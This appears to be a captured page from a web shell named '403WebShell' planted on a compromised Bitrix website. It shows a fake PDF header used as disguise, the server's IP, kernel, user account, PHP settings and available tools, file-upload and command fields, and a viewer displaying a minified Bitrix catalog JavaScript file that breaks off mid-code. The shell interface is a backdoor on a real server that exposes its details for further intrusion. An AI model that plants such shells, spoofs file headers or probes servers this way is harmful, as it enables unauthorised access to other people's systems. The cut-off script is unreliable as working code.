%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.251.223
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/install/js/catalog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/catalog/install/js/catalog/core_tree.min.js
(function(e){if(BX.TreeConditions)return;BX.TreeCondCtrlAtom=function(e,t,i){this.boolResult=false;if(!e||!t||!t.values)return this.boolResult;this.parentContainer=e;this.valuesContainer=t.values;if(!BX.type.isNotEmptyString(i)&&!BX.type.isPlainObject(i))return this.boolResult;if(BX.type.isNotEmptyString(i)){i={text:i,type:"string"}}if(BX.type.isPlainObject(i)){if(!BX.type.isNotEmptyString(i.type))return this.boolResult;this.arStartParams=i;this.id=null;this.name=null;this.type=i.type;this.showValue=false;if(BX.type.isNotEmptyString(i.show_value)){this.showValue=i.show_value==="Y"}if(this.type!=="string"&&this.type!=="prefix"){if(!i.id){return this.boolResult}this.id=i.id;this.name=!i.name?i.id:i.name;this.defaultText=BX.type.isNotEmptyString(i.defaultText)?i.defaultText:"...";this.defaultValue=i.defaultValue&&i.defaultValue.length>0?i.defaultValue:"";if(!this.valuesContainer[this.id]||this.valuesContainer[this.id].length===0){this.valuesContainer[this.id]=this.defaultValue}}this.boolResult=true;if(this.type==="string"||this.type==="prefix"){this.Init()}}return this.boolResult};BX.TreeCondCtrlAtom.prototype.Init=function(){if(this.boolResult){this.parentContainer=BX(this.parentContainer);if(!!this.parentContainer){if(this.type==="string"||this.type==="prefix"){this.parentContainer.appendChild(BX.create("SPAN",{props:{className:this.type==="prefix"?"control-prefix":"control-string"},html:BX.util.htmlspecialchars(this.arStartParams.text)}))}else{this.CreateLink()}}else{this.boolResult=false}}return this.boolResult};BX.TreeCondCtrlAtom.prototype.IsValue=function(){return this.valuesContainer[this.id]&&this.valuesContainer[this.id].length>0};BX.TreeCondCtrlAtom.prototype.InitValue=function(){return this.IsValue()};BX.TreeCondCtrlAtom.prototype.ReInitValue=function(e){if(BX.util.in_array(this.id,e)){this.InitValue()}};BX.TreeCondCtrlAtom.prototype.SetValue=function(){return this.IsValue()};BX.TreeCondCtrlAtom.prototype.View=function(e){};BX.TreeCondCtrlAtom.prototype.onChange=function(){this.SetValue();this.View(false)};BX.TreeCondCtrlAtom.prototype.onKeypress=function(t){if(!t){t=e.event}if(!!t.keyCode){switch(t.keyCode){case 13:this.onChange();break;case 27:this.InitValue();this.View(false);break}if(t.keyCode===13){return BX.PreventDefault(t)}}};BX.TreeCondCtrlAtom.prototype.onClick=function(){this.InitValue();this.View(true)};BX.TreeCondCtrlAtom.prototype.Delete=function(){if(this.type!=="string"){if(this.link){BX.unbindAll(this.link);this.link=BX.remove(this.link)}}};BX.TreeCondCtrlAtom.prototype.CreateLink=function(){if(this.boolResult){this.link=null;this.link=this.parentContainer.appendChild(BX.create("A",{props:{id:this.parentContainer.id+"_"+this.id+"_link",className:""},style:{display:""},html:this.IsValue()?BX.util.htmlspecialchars(this.valuesContainer[this.id]):this.defaultText}));if(!this.link){this.boolResult=false}}return this.boolResult};BX.TreeCondCtrlAtom.prototype.prepareData=function(e,t){var i="",s,l="",n=true;if(BX.type.isString(e)){i=e}else if(BX.type.isPlainObject(e)){for(s in e){if(e.hasOwnProperty(s)){i+=!n?"&":"";l=BX.util.urlencode(s);if(t){l=t+"["+l+"]"}if(BX.type.isPlainObject(e[s])){i+=this.prepareData(e[s],l)}else{i+=l+"="+BX.util.urlencode(e[s])}n=false}}}return i};BX.TreeCondCtrlAtom.prototype.ViewFormat=function(e,t){return this.showValue?t+" ["+e+"]":t};BX.TreeCondCtrlInput=function(e,t,i){if(BX.TreeCondCtrlInput.superclass.constructor.apply(this,arguments))this.Init();return this.boolResult};BX.extend(BX.TreeCondCtrlInput,BX.TreeCondCtrlAtom);BX.TreeCondCtrlInput.prototype.Init=function(){if(this.boolResult&&BX.TreeCondCtrlInput.superclass.Init.apply(this,arguments)){this.input=null;this.input=this.parentContainer.appendChild(BX.create("INPUT",{props:{type:"text",id:this.parentContainer.id+"_"+this.id,name:this.name,className:"",value:this.IsValue()?this.valuesContainer[this.id]:""},style:{display:"none"},events:{change:BX.proxy(this.onChange,this),blur:BX.proxy(this.onChange,this),keypress:BX.proxy(this.onKeypress,this)}}));this.boolResult=!!this.input}return this.boolResult};BX.TreeCondCtrlInput.prototype.InitValue=function(){if(BX.TreeCondCtrlInput.superclass.InitValue.apply(this,arguments)){BX.adjust(this.link,{html:BX.util.htmlspecialchars(this.valuesContainer[this.id])});this.input.value=this.valuesContainer[this.id]}else{BX.adjust(this.link,{html:this.defaultText});this.input.value=""}};BX.TreeCondCtrlInput.prototype.SetValue=function(){this.valuesContainer[this.id]=this.input.value;if(BX.TreeCondCtrlInput.superclass.SetValue.apply(this,arguments)){BX.adjust(this.link,{html:BX.util.htmlspecialchars(this.valuesContainer[this.id])})}else{BX.adjust(this.link,{html:this.defaultText})}};BX.TreeCondCtrlInput.prototype.View=function(e){BX.TreeCondCtrlInput.superclass.View.apply(this,arguments);if(e){BX.style(this.link,"display","none");BX.style(this.input,"display","");BX.focus(this.input)}else{BX.style(this.input,"display","none");BX.style(this.link,"display","");this.input.blur()}};BX.TreeCondCtrlInput.prototype.Delete=function(){BX.TreeCondCtrlInput.superclass.Delete.apply(this,arguments);if(this.input){BX.unbindAll(this.input);this.input=BX.remove(this.input)}};BX.TreeCondCtrlInput.prototype.CreateLink=function(){if(BX.TreeCondCtrlInput.superclass.CreateLink.apply(this,arguments)){BX.bind(this.link,"click",BX.proxy(this.onClick,this))}return this.boolResult};BX.TreeCondCtrlBaseSelect=function(e,t,i){this.values=[];this.labels=[];this.multiple=false;this.size=3;this.first_option="...";this.boolVisual=false;this.visual=null;if(BX.TreeCondCtrlBaseSelect.superclass.constructor.apply(this,arguments)){if(BX.type.isNotEmptyString(i.multiple))this.multiple=i.multiple==="Y";if(BX.type.isString(i.size)||BX.type.isNumber(i.size)){i.size=parseInt(i.size,10);if(!isNaN(i.size)&&i.size>0)this.size=i.size}if(BX.type.isNotEmptyString(i.first_option))this.first_option=i.first_option;this.dontShowFirstOption=!!i.dontShowFirstOption}return this.boolResult};BX.extend(BX.TreeCondCtrlBaseSelect,BX.TreeCondCtrlAtom);BX.TreeCondCtrlBaseSelect.prototype.Init=function(){BX.TreeCondCtrlInput.superclass.Init.apply(this,arguments);return this.boolResult};BX.TreeCondCtrlBaseSelect.prototype.setValueText=function(){var e,t,i;if(BX.type.isString(this.valuesContainer[this.id]))this.valuesContainer[this.id]=this.valuesContainer[this.id].split(",");e=[];this.select.selectedIndex=-1;for(t=0;t<this.select.options.length;t++){if(BX.util.in_array(this.select.options[t].value,this.valuesContainer[this.id])){i=BX.util.array_search(this.select.options[t].value,this.values);if(i>-1){this.select.options[t].selected=true;if(this.select.selectedIndex===-1){this.select.selectedIndex=t}e[e.length]=this.ViewFormat(this.values[i],this.labels[i])}else{this.select.options[t].selected=false}}else{this.select.options[t].selected=false}}if(e.length===0)e[0]=this.defaultText;BX.adjust(this.link,{html:BX.util.htmlspecialchars(e.join(", "))});e=null};BX.TreeCondCtrlBaseSelect.prototype.SetValue=function(){var e=[],t=[],i,s;if(this.multiple){for(i=0;i<this.select.options.length;i++){if(this.select.options[i].selected){t[t.length]=this.select.options[i].value;s=BX.util.array_search(this.select.options[i].value,this.values);if(s>-1){e[e.length]=this.ViewFormat(this.values[s],this.labels[s])}}}if(e.length===0){e[0]=this.defaultText}this.valuesContainer[this.id]=t}else{if(this.select.selectedIndex>-1&&this.select.options[this.select.selectedIndex]){this.valuesContainer[this.id]=[this.select.options[this.select.selectedIndex].value];i=BX.util.array_search(this.select.options[this.select.selectedIndex].value,this.values);e[0]=i>-1?this.ViewFormat(this.values[i],this.labels[i]):this.defaultText}}if(BX.TreeCondCtrlBaseSelect.superclass.SetValue.apply(this,arguments))BX.adjust(this.link,{html:BX.util.htmlspecialchars(e.join(", "))});else BX.adjust(this.link,{html:this.defaultText})};BX.TreeCondCtrlBaseSelect.prototype.View=function(e){BX.TreeCondCtrlBaseSelect.superclass.View.apply(this,arguments);if(e){BX.style(this.link,"display","none");BX.style(this.select,"display","");BX.focus(this.select)}else{BX.style(this.select,"display","none");BX.style(this.link,"display","");this.select.blur()}};BX.TreeCondCtrlBaseSelect.prototype.onChange=function(){this.SetValue();if(!this.multiple)this.View(false);if(this.boolVisual)this.visual()};BX.TreeCondCtrlBaseSelect.prototype.onBlur=function(){this.View(false)};BX.TreeCondCtrlBaseSelect.prototype.onKeypress=function(t){if(!t)t=e.event;if(t.keyCode&&(t.keyCode===13||t.keyCode===27)){this.View(false);if(t.keyCode===13)return BX.PreventDefault(t)}};BX.TreeCondCtrlBaseSelect.prototype.onClick=function(){this.View(true)};BX.TreeCondCtrlBaseSelect.prototype.Delete=function(){BX.TreeCondCtrlBaseSelect.superclass.Delete.apply(this,arguments);if(this.select){BX.unbindAll(this.select);this.select=BX.remove(this.select)}if(this.boolVisual)this.visual=null};BX.TreeCondCtrlBaseSelect.prototype.CreateLink=function(){if(BX.TreeCondCtrlBaseSelect.superclass.CreateLink.apply(this,arguments))BX.bind(this.link,"click",BX.proxy(this.onClick,this));return this.boolResult};BX.TreeCondCtrlBaseSelect.prototype.CreateSelect=function(){var e;e={id:this.parentContainer.id+"_"+this.id,name:this.name,className:"",selectedIndex:-1};if(this.multiple){e.name=this.name+"[]";e.multiple=true;e.size=this.size}this.select=this.parentContainer.appendChild(BX.create("select",{props:e,style:{display:"none"},events:{change:BX.proxy(this.onChange,this),blur:BX.proxy(this.onBlur,this),keypress:BX.proxy(this.onKeypress,this)}}));if(BX.type.isElementNode(this.select)){if(!this.multiple&&!this.dontShowFirstOption){this.select.appendChild(BX.create("option",{props:{value:""},html:this.first_option}))}}e=null};BX.TreeCondCtrlSelect=function(e,t,i){var s;if(BX.TreeCondCtrlSelect.superclass.constructor.apply(this,arguments)){if(!BX.type.isPlainObject(i.values)){return this.boolResult}for(s in i.values){if(i.values.hasOwnProperty(s)){this.values[this.values.length]=s;this.labels[this.labels.length]=i.values[s]}}if(this.values.length===0){return this.boolResult}if(this.defaultValue.length>0){s=BX.util.array_search(this.defaultValue,this.values);this.defaultText=s>-1?this.labels[s]:""}if(BX.type.isPlainObject(i.events)&&BX.type.isFunction(i.events.visual)){this.boolVisual=true;this.visual=i.events.visual}this.Init()}return this.boolResult};BX.extend(BX.TreeCondCtrlSelect,BX.TreeCondCtrlBaseSelect);BX.TreeCondCtrlSelect.prototype.Init=function(){var e;if(this.boolResult&&BX.TreeCondCtrlSelect.superclass.Init.apply(this,arguments)){this.CreateSelect();if(BX.type.isElementNode(this.select)){for(e in this.values){if(this.values.hasOwnProperty(e)){this.select.appendChild(BX.create("option",{props:{value:this.values[e]},html:BX.util.htmlspecialchars(this.ViewFormat(this.values[e],this.labels[e]))}))}}this.InitValue()}this.boolResult=!!this.select}return this.boolResult};BX.TreeCondCtrlSelect.prototype.InitValue=function(){if(BX.TreeCondCtrlSelect.superclass.InitValue.apply(this,arguments))this.setValueText();else this.select.selectedIndex=-1};BX.TreeCondCtrlSelect.prototype.CreateLink=function(){if(BX.TreeCondCtrlSelect.superclass.CreateLink.apply(this,arguments))BX.bind(this.link,"click",BX.proxy(this.onClick,this));return this.boolResult};BX.TreeCondCtrlLazySelect=function(e,t,i){var s;this.loaded=false;this.loadProgress=false;this.loadUrl="";this.loadUrlParams={};if(BX.TreeCondCtrlLazySelect.superclass.constructor.apply(this,arguments)){if(BX.type.isNotEmptyString(i.load_url))this.loadUrl=i.load_url;if(BX.type.isPlainObject(i.load_params)){for(s in i.load_params){if(i.load_params.hasOwnProperty(s))this.loadUrlParams[s]=i.load_params[s]}}this.Init()}return this.boolResult};BX.extend(BX.TreeCondCtrlLazySelect,BX.TreeCondCtrlBaseSelect);BX.TreeCondCtrlLazySelect.prototype.Init=function(){if(this.boolResult&&BX.TreeCondCtrlLazySelect.superclass.Init.apply(this,arguments)){this.CreateSelect();this.InitValue()}return this.boolResult};BX.TreeCondCtrlLazySelect.prototype.InitValue=function(){if(BX.TreeCondCtrlLazySelect.superclass.InitValue.apply(this,arguments)){if(!this.loaded)this.ajaxLoad("InitValue");else this.setValueText()}else{this.select.selectedIndex=-1}};BX.TreeCondCtrlLazySelect.prototype.ajaxLoad=function(e){var t={},i,s;if(this.loaded||this.loadProgress)return;for(i in this.loadUrlParams){if(this.loadUrlParams.hasOwnProperty(i))t[i]=this.loadUrlParams[i]}t.sessid=BX.bitrix_sessid();t.lang=BX.message("LANGUAGE_ID");switch(e){default:case"InitValue":s=BX.proxy(this.ajaxLoadResultFromInit,this);break;case"onClick":s=BX.proxy(this.ajaxLoadResultFromClick,this);break}this.loadProgress=true;BX.showWait(this.parentContainer);BX.ajax({method:"POST",dataType:"json",url:this.loadUrl,data:t,onsuccess:s});s=null;t=null};BX.TreeCondCtrlLazySelect.prototype.ajaxLoadResult=function(e){var t;this.loadProgress=false;BX.closeWait(this.parentContainer);if(BX.type.isArray(e)){for(t=0;t<e.length;t++){this.values[this.values.length]=e[t].value;this.labels[this.labels.length]=e[t].label;this.select.appendChild(BX.create("option",{props:{value:e[t].value},html:BX.util.htmlspecialchars(this.ViewFormat(e[t].value,e[t].label))}))}this.loaded=true}};BX.TreeCondCtrlLazySelect.prototype.ajaxLoadResultFromInit=function(e){if(BX.type.isArray(e)){this.ajaxLoadResult(e);if(this.loaded)this.setValueText()}};BX.TreeCondCtrlLazySelect.prototype.ajaxLoadResultFromClick=function(e){if(BX.type.isArray(e)){this.ajaxLoadResult(e);if(this.loaded)this.onClick()}};BX.TreeCondCtrlLazySelect.prototype.onClick=function(){if(this.loaded)this.View(true);else this.ajaxLoad("onClick")};BX.TreeCondCtrlPopup=function(e,t,i){var s;if(BX.TreeCondCtrlPopup.superclass.constructor.apply(this,arguments)){if(!i.popup_url){return this.boolResult}this.popup_url=i.popup_url;this.popup_params={};if(i.popup_params){for(s in i.popup_params){if(i.popup_params.hasOwnProperty(s)){this.popup_params[s]=i.popup_params[s]}}}this.popup_param_id=null;if(BX.type.isNotEmptyString(i.param_id)){this.popup_param_id=i.param_id}this.label="";if(!!t.labels&&!!t.labels[this.id]){this.label=t.labels[this.id]}if(this.label.length===0){this.label=this.valuesContainer[this.id].length>0?this.valuesContainer[this.id]:this.defaultText}this.Init()}return this.boolResult};BX.extend(BX.TreeCondCtrlPopup,BX.TreeCondCtrlAtom);BX.TreeCondCtrlPopup.prototype.Init=function(){if(this.boolResult&&BX.TreeCondCtrlPopup.superclass.Init.apply(this,arguments)){if(this.popup_param_id){this.popup_params[this.popup_param_id]=this.parentContainer.id+"_"+this.id}this.input=this.parentContainer.appendChild(BX.create("INPUT",{props:{type:"hidden",id:this.parentContainer.id+"_"+this.id,name:this.name,className:"",value:this.IsValue()?this.valuesContainer[this.id]:""},style:{display:"none"},events:{change:BX.proxy(this.onChange,this)}}));this.boolResult=!!this.input}return this.boolResult};BX.TreeCondCtrlPopup.prototype.CreateLink=function(){if(this.boolResult){this.link=this.parentContainer.appendChild(BX.create("A",{props:{id:this.parentContainer.id+"_"+this.id+"_link",className:""},style:{display:""},html:this.IsValue()?BX.util.htmlspecialchars(this.ViewFormat(this.valuesContainer[this.id],this.label)):this.defaultText,events:{click:BX.proxy(this.PopupShow,this)}}));this.boolResult=!!this.link}return this.boolResult};BX.TreeCondCtrlPopup.prototype.PopupShow=function(){var t=this.popup_url,i=this.prepareData(this.popup_params);if(i.length>0){t+=(t.indexOf("?")!==-1?"&":"?")+i}var s=e.open(t,"","scrollbars=yes,resizable=yes,width=900,height=600,top="+parseInt((screen.height-500)/2-14,10)+",left="+parseInt((screen.width-600)/2-5,10));s.onbeforeunload=function(){BX.onCustomEvent("onTreeCondPopupClose")}};BX.TreeCondCtrlPopup.prototype.onChange=function(){this.valuesContainer[this.id]=this.input.value};BX.TreeCondCtrlPopup.prototype.Delete=function(){BX.TreeCondCtrlPopup.superclass.Delete.apply(this,arguments);if(this.input){BX.unbindAll(this.input);this.input=BX.remove(this.input)}};BX.TreeUserCondCtrlPopup=function(e,t,i){var s;if(BX.TreeUserCondCtrlPopup.superclass.constructor.apply(this,arguments)){if(!i.popup_url){return this.boolResult}this.user_load_url=i.user_load_url;this.popup_url=i.popup_url;if(i.popup_params){for(s in i.popup_params){if(i.popup_params.hasOwnProperty(s)){this.popup_params[s]=i.popup_params[s]}}}this.popup_param_id=null;if(BX.type.isNotEmptyString(i.param_id)){this.popup_param_id=i.param_id}this.label="";if(!!t.labels&&!!t.labels[this.id]){this.label=t.labels[this.id]}if(this.label.length===0){this.label=this.valuesContainer[this.id].length>0?this.valuesContainer[this.id]:this.defaultText}}return this.boolResult};BX.extend(BX.TreeUserCondCtrlPopup,BX.TreeCondCtrlPopup);BX.TreeUserCondCtrlPopup.prototype.Init=function(){var e;this.inputs=[];if(this.valuesContainer[this.id]===""){this.valuesContainer[this.id]=[];this.label=[]}if(!BX.type.isArray(this.valuesContainer[this.id])){this.valuesContainer[this.id]=[this.valuesContainer[this.id]];this.label=[this.label]}if(this.boolResult&&BX.TreeUserCondCtrlPopup.superclass.Init.apply(this,arguments)){if(this.input){BX.unbindAll(this.input);this.input=BX.remove(this.input)}if(this.popup_param_id){this.popup_params[this.popup_param_id]=this.parentContainer.id+"_"+this.id}if(!this.IsValue()){this.AppendInputNode(this.parentContainer.id+"_"+this.id,this.name+"[]","")}else{for(e in this.valuesContainer[this.id]){if(!this.valuesContainer[this.id].hasOwnProperty(e))continue;this.AppendInputNode(this.parentContainer.id+"_"+this.id,this.name+"[]",this.valuesContainer[this.id][e])}}this.AppendFakeInputNode(this.parentContainer.id+"_"+this.id,this.name);this.boolResult=!!this.inputs}return this.boolResult};BX.TreeUserCondCtrlPopup.prototype.CreateLink=function(){this.popup_params["FN"]="sale_discount_form";this.popup_params["FC"]="fake_"+this.name;var e;if(this.boolResult){this.defaultLabel=BX.create("SPAN",{text:this.defaultText,style:{cursor:"pointer"},props:{className:"condition-dots"}});this.link=this.parentContainer.appendChild(BX.create("SPAN",{props:{id:this.parentContainer.id+"_"+this.id+"_link",className:"condition-list-wrap"},style:{display:""},events:{click:BX.proxy(this.PopupShow,this)},children:[this.defaultLabel]}));for(e in this.valuesContainer[this.id]){if(!this.valuesContainer[this.id].hasOwnProperty(e))continue;this.AppendItemNode(this.valuesContainer[this.id][e],this.label[e])}this.boolResult=!!this.link}return this.boolResult};BX.TreeUserCondCtrlPopup.prototype.AppendItemNode=function(e,t){this.link.insertBefore(BX.create("SPAN",{props:{className:"condition-item"},style:{display:""},children:[BX.create("SPAN",{props:{className:"condition-item-text"},html:BX.util.htmlspecialchars(this.ViewFormat(e,t))}),BX.create("SPAN",{props:{className:"condition-item-del"},attrs:{"bx-data-value":e},events:{click:BX.proxy(this.DeleteItem,this)}})]}),this.defaultLabel)};BX.TreeUserCondCtrlPopup.prototype.AppendInputNode=function(e,t,i){this.inputs.push(this.parentContainer.appendChild(BX.create("INPUT",{props:{type:"hidden",id:e,name:t,value:i},style:{display:"none"},events:{change:BX.proxy(this.onChange,this)}})))};BX.TreeUserCondCtrlPopup.prototype.AppendFakeInputNode=function(e,t){this.inputs.push(this.parentContainer.appendChild(BX.create("INPUT",{props:{type:"hidden",id:"fake_"+e,name:"fake_"+t},style:{display:"none"},events:{change:BX.proxy(this.onChangeFake,this)}})))};BX.TreeUserCondCtrlPopup.prototype.onChangeFake=function(e){var t=e.target.value;BX.ajax({method:"POST",dataType:"json",url:this.user_load_url,data:{sessid:BX.bitrix_sessid(),AJAX_ACTION:"getUserName",USER_ID:t},onsuccess:BX.delegate(function(e){var i=e.name;this.AppendInputNode(this.parentContainer.id+"_"+this.id,this.name+"[]",t);this.AppendItemNode(t,i);this.valuesContainer[this.id].push(t)},this)})};BX.TreeUserCondCtrlPopup.prototype.onSave=function(e){if(BX.type.isPlainObject(e)){this.AppendInputNode(this.parentContainer.id+"_"+this.id,this.name+"[]",e.id);this.AppendItemNode(e.id,e.name);this.valuesContainer[this.id].push(e.id)}};BX.TreeUserCondCtrlPopup.prototype.DeleteItem=function(e){var t=e.target||e.srcElement;if(!t){BX.PreventDefault(e);return}var i=BX.findParent(t,{className:"condition-item",tagName:"span"},3);if(!i){BX.PreventDefault(e);return}BX.remove(BX.findParent(t,{className:"condition-item",tagName:"span"},3));BX.remove(BX.findChild(this.parentContainer,{tagName:"input",attribute:{name:this.name+"[]",value:t.getAttribute("bx-data-value")}},3));BX.PreventDefault(e)};BX.TreeUserCondCtrlPopup.prototype.Delete=function(){BX.TreeUserCondCtrlPopup.superclass.Delete.apply(this,arguments);if(this.input){BX.unbindAll(this.input);this.input=BX.remove(this.input)}if(this.inputs){for(var e in this.inputs){if(!this.inputs.hasOwnProperty(e))continue;BX.unbindAll(this.inputs[e]);BX.remove(this.inputs[e]);delete this.inputs[e]}this.inputs=[]}if(!!this.dialog){this.dialog=null}};BX.TreeCondCtrlDialog=function(e,t,i){var s;if(BX.TreeCondCtrlDialog.superclass.constructor.apply(this,arguments)){this.popup_params.event="onTreeCondDialogSave";s=this.prepareData(this.popup_params);if(s.length>0){this.popup_url+=(this.popup_url.indexOf("?")!==-1?"&":"?")+s}this.dialog=null}return this.boolResult};BX.extend(BX.TreeCondCtrlDialog,BX.TreeCondCtrlPopup);BX.TreeCondCtrlDialog.prototype.CreateLink=function(){if(this.boolResult){this.link=this.parentContainer.appendChild(BX.create("A",{props:{id:this.parentContainer.id+"_"+this.id+"_link",className:""},style:{display:""},html:this.IsValue()?BX.util.htmlspecialchars(this.ViewFormat(this.valuesContainer[this.id],this.label)):this.defaultText,events:{click:BX.proxy(this.DialogShow,this)}}));this.boolResult=!!this.link}return this.boolResult};BX.TreeCondCtrlDialog.prototype.onChange=function(){this.valuesContainer[this.id]=this.input.value};BX.TreeCondCtrlDialog.prototype.DialogShow=function(){if(this.dialog!==null)this.dialog=null;this.dialog=new BX.CAdminDialog({content_url:this.popup_url,height:Math.max(500,e.innerHeight-400),width:Math.max(800,e.innerWidth-400),draggable:true,resizable:true,min_height:500,min_width:800});if(!!this.dialog){BX.addCustomEvent("onTreeCondDialogSave",BX.proxy(this.onSave,this));this.dialog.Show()}};BX.TreeCondCtrlDialog.prototype.onSave=function(e){BX.removeCustomEvent("onTreeCondDialogSave",BX.proxy(this.onSave,this));if(BX.type.isPlainObject(e)){this.input.value=e.id;this.link.innerHTML=BX.util.htmlspecialchars(this.ViewFormat(e.id,e.name));this.onChange()}this.dialog.Close();this.dialog=null};BX.TreeCondCtrlDialog.prototype.Delete=function(){BX.TreeCondCtrlDialog.superclass.Delete.apply(this,arguments);if(this.input){BX.unbindAll(this.input);this.input=BX.remove(this.input)}if(!!this.dialog){this.dialog=null}};BX.TreeMultiCondCtrlDialog=function(e,t,i){this.defaultLabel=null;var s;if(BX.TreeMultiCondCtrlDialog.superclass.constructor.apply(this,arguments)){this.popup_params.event="onTreeCondDialogSave";s=this.prepareData(this.popup_params);if(s.length>0){this.popup_url+=(this.popup_url.indexOf("?")!==-1?"&":"?")+s}this.dialog=null;BX.addClass(e,"condition-multi")}return this.boolResult};BX.extend(BX.TreeMultiCondCtrlDialog,BX.TreeCondCtrlPopup);BX.TreeMultiCondCtrlDialog.prototype.AppendItemNode=function(e,t){this.link.insertBefore(BX.create("SPAN",{props:{className:"condition-item"},style:{display:""},children:[BX.create("SPAN",{props:{className:"condition-item-text"},html:BX.util.htmlspecialchars(this.ViewFormat(e,t))}),BX.create("SPAN",{props:{className:"condition-item-del"},attrs:{"bx-data-value":e},events:{click:BX.proxy(this.DeleteItem,this)}})]}),this.defaultLabel)};BX.TreeMultiCondCtrlDialog.prototype.AppendInputNode=function(e,t,i){this.inputs.push(this.parentContainer.appendChild(BX.create("INPUT",{props:{type:"hidden",id:e,name:t,value:i},style:{display:"none"},events:{change:BX.proxy(this.onChange,this)}})))};BX.TreeMultiCondCtrlDialog.prototype.Init=function(){var e;this.inputs=[];if(this.valuesContainer[this.id]===""){this.valuesContainer[this.id]=[];this.label=[]}if(!BX.type.isArray(this.valuesContainer[this.id])){this.valuesContainer[this.id]=[this.valuesContainer[this.id]];this.label=[this.label]}if(this.boolResult&&BX.TreeMultiCondCtrlDialog.superclass.Init.apply(this,arguments)){if(this.input){BX.unbindAll(this.input);this.input=BX.remove(this.input)}if(this.popup_param_id){this.popup_params[this.popup_param_id]=this.parentContainer.id+"_"+this.id}if(!this.IsValue()){this.AppendInputNode(this.parentContainer.id+"_"+this.id,this.name+"[]","")}else{for(e in this.valuesContainer[this.id]){if(!this.valuesContainer[this.id].hasOwnProperty(e))continue;this.AppendInputNode(this.parentContainer.id+"_"+this.id,this.name+"[]",this.valuesContainer[this.id][e])}}this.boolResult=!!this.inputs}return this.boolResult};BX.TreeMultiCondCtrlDialog.prototype.CreateLink=function(){var e;if(this.boolResult){this.defaultLabel=BX.create("SPAN",{text:this.defaultText,style:{cursor:"pointer"},props:{className:"condition-dots"}});this.link=this.parentContainer.appendChild(BX.create("SPAN",{props:{id:this.parentContainer.id+"_"+this.id+"_link",className:"condition-list-wrap"},style:{display:""},events:{click:BX.proxy(this.DialogShow,this)},children:[this.defaultLabel]}));for(e in this.valuesContainer[this.id]){if(!this.valuesContainer[this.id].hasOwnProperty(e))continue;this.AppendItemNode(this.valuesContainer[this.id][e],this.label[e])}this.boolResult=!!this.link}return this.boolResult};BX.TreeMultiCondCtrlDialog.prototype.onChange=function(){};BX.TreeMultiCondCtrlDialog.prototype.DialogShow=function(){if(this.dialog!==null)this.dialog=null;this.dialog=new BX.CAdminDialog({content_url:this.popup_url,height:Math.max(500,e.innerHeight-400),width:Math.max(800,e.innerWidth-400),draggable:true,resizable:true,min_height:500,min_width:800});if(!!this.dialog){BX.addCustomEvent("onTreeCondDialogSave",BX.proxy(this.onSave,this));BX.addCustomEvent(this.dialog,"onWindowClose",BX.delegate(function(){BX.removeCustomEvent("onTreeCondDialogSave",BX.proxy(this.onSave,this))},this));this.dialog.Show()}};BX.TreeMultiCondCtrlDialog.prototype.onSave=function(e){if(BX.type.isPlainObject(e)){this.AppendInputNode(this.parentContainer.id+"_"+this.id,this.name+"[]",e.id);this.AppendItemNode(e.id,e.name);this.valuesContainer[this.id].push(e.id)}};BX.TreeMultiCondCtrlDialog.prototype.DeleteItem=function(e){var t=e.target||e.srcElement;if(!t){BX.PreventDefault(e);return}var i=BX.findParent(t,{className:"condition-item",tagName:"span"},3);if(!i){BX.PreventDefault(e);return}BX.remove(BX.findParent(t,{className:"condition-item",tagName:"span"},3));BX.remove(BX.findChild(this.parentContainer,{tagName:"input",attribute:{name:this.name+"[]",value:t.getAttribute("bx-data-value")}},3));BX.PreventDefault(e)};BX.TreeMultiCondCtrlDialog.prototype.Delete=function(){BX.TreeMultiCondCtrlDialog.superclass.Delete.apply(this,arguments);if(this.input){BX.unbindAll(this.input);this.input=BX.remove(this.input)}if(this.inputs){for(var e in this.inputs){if(!this.inputs.hasOwnProperty(e))continue;BX.unbindAll(this.inputs[e]);BX.remove(this.inputs[e]);delete this.inputs[e]}this.inputs=[]}if(!!this.dialog){this.dialog=null}};BX.TreeCondCtrlDateTime=function(e,t,i){if(BX.TreeCondCtrlDateTime.superclass.constructor.apply(this,arguments)){this.format=!!i.format&&i.format==="date"?"date":"datetime";this.Init()}return this.boolResult};BX.extend(BX.TreeCondCtrlDateTime,BX.TreeCondCtrlAtom);BX.TreeCondCtrlDateTime.prototype.Init=function(){if(this.boolResult&&BX.TreeCondCtrlDateTime.superclass.Init.apply(this,arguments)){this.input=BX.create("INPUT",{props:{type:"text",id:this.parentContainer.id+"_"+this.id,name:this.name,className:"adm-input",value:this.IsValue()?this.valuesContainer[this.id]:""},events:{change:BX.proxy(this.onChange,this),keypress:BX.proxy(this.onKeypress,this)}});this.icon=BX.create("SPAN",{props:{id:this.parentContainer.id+"_"+this.id+"_icon",className:"adm-calendar-icon",title:BX.message("JC_CORE_TREE_CONTROL_DATETIME_ICON")},events:{click:BX.proxy(this.ShowCalendarControl,this)}});this.calendarText=BX.create("DIV",{props:{className:"adm-input-wrap"},children:[this.input,this.icon]});this.calendar=this.parentContainer.appendChild(BX.create("DIV",{props:{id:this.parentContainer.id+"_"+this.id+"_calendar",className:"adm-calendar-block 